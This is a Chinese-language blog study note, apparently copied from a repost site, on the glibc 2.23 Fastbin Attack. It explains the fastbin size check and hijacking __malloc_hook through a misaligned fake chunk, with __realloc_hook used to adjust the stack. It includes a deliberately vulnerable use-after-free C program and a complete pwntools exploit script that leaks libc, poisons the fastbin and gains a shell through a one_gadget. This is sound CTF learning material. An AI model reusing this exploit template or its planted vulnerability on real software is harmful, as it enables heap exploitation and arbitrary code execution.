当前位置: 首页 > article >正文

【我的 PWN 学习手札】Fastbin Attack

关于fastbin,有很多攻击利用手法,本篇只是讲述了修改fd指针,分配到fake_chunk,更多利用手法拆分到后面的博客中

目录

前言

一、Fastbin保护检查机制

二、利用手法

(1)分配到任意地址(__malloc_hook周边)

(2)one_gadget失效时,__realloc_hook调整栈帧 

(3)通过malloc报错调用malloc调整栈布局

三、调试过程、代码及模板 


前言

Fastbin Attack主要是利用了Fastbin单链表管理,如果能够利用UAF等漏洞,将Fastbin链表上的free chunk的fd写数据,即可实现任意地址分配,进而实现任意地址读写 


一、Fastbin保护检查机制

本篇涉及到的保护机制只有一个:取出的fastbin chunk,size应该在对应取出的fastbin范围内 

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
    idx = fastbin_index(nb);
    ...
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
    if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
        errstr = "malloc(): memory corruption (fast)";
        errout:
        malloc_printerr(check_action, errstr, chunk2mem(victim), av);
        return NULL;
    }

二、利用手法

(1)分配到任意地址(__malloc_hook周边)

通过修改free chunk的fd指针造成分配到任意地址, 需要满足size条件。

通过任意地址写来利用getshell,劫持hook是常用的手法。然而需要满足size这一条件,考虑到__free_hook周围满足条件的情况比较少,而libc或栈多数以0x7f开头,所以__malloc_hook周围实际上有合适的size——我们可以通过字节错位,来满足size=0x000000000000007f,落在size=0x70的fastbin中——实际上,一个合适的错位chunk位置在&__malloc_hook-0x23的位置

如果有分配到其他位置的情况,我们依旧可以用pwndbg的find_fake_fast来帮我们快速找到适合的fake_chunk位置

正常情况下:

通过uaf或其他漏洞修改fd后:

这时候(上述图例中)第三次malloc 0x70大小的chunk,就会分配到fake_chunk 

(2)one_gadget失效时,__realloc_hook调整栈帧 

当one_gadget时效时,意味着栈布局不满足条件,为此我们可以利用&__malloc_hook-0x8的__realloc_hook来调整栈帧:

这里所说的realloc+偏移是指:每个函数都有保存调用现场的操作,称为函数序言,所做的就是将各寄存器压栈,如果我们跳过几个push语句,那么栈的布局就发生了改变。

(3)通过malloc报错调用malloc调整栈布局

只是了解到有这种方法,但是没有实际遇到过

三、调试过程、代码及模板 

释放一个0x70size的chunk

uaf将该chunk的fd修改为fake_chunk的地址

malloc两次得到将该fake_chunk那到,修改malloc_hook为one_gadget

再次malloc触发__malloc_hook

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))

# Fastbin Attack
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baed
add(0,0x68)
delete(0)
edit(0,0x8,p64(target_addr))
add(0,0x68)
add(0,0x68)

# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
  address rsp+0x40 is writable
  rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''

# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07))   #正常__malloc_hook
edit(0,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9)) #用_realloc_hook调整栈帧
add(0,0x10)
io.interactive()

http://www.kler.cn/news/309169.html

相关文章:

  • TVM和EVM的比较
  • 费解的开关
  • 【常用集合】深入浅出Map集合
  • 如何在微服务的日志中记录每个接口URL、状态码和耗时信息?
  • python中Web开发框架的使用
  • 多速率信号处理
  • sourceTree使用笔记
  • ClickHouse的安装配置+DBeaver远程连接
  • DP子序列问题
  • Spring Boot-静态资源管理问题
  • Spring Cloud全解析:服务调用之Feign的编解码器
  • WebSocket 协议
  • VMware vSphere 8.0 Update 3b 发布下载,新增功能概览
  • 飞速爆单!TikTok跨境选品逻辑大揭秘!
  • socat用法结合案例分析
  • 我的AI工具箱Tauri版-MoYin文本转语音
  • 算法训练——day14字母异位词
  • 计算机三级网络技术总结(二)
  • 【D3.js in Action 3 精译_022】3.2 使用 D3 完成数据准备工作
  • Golang | Leetcode Golang题解之第400题第N位数字
  • 通信工程学习:什么是LCAS链路容量调整机制
  • LLM大模型基础知识学习总结,零基础入门到精通 非常详细收藏我这一篇就够了
  • 1.接口测试基础
  • Selenium等待机制:理解并应用显式等待与隐式等待,解决页面加载慢的问题
  • golang实现正向代理http_proxy和https_proxy
  • 【Python】从基础到进阶(八):文件操作与上下文管理
  • mybatis-generator代码生成
  • iOS 18 新功能:控制中心大變身!控制項目自由選配
  • 手机、平板电脑编程———未来之窗行业应用跨平台架构
  • 「iOS」push与present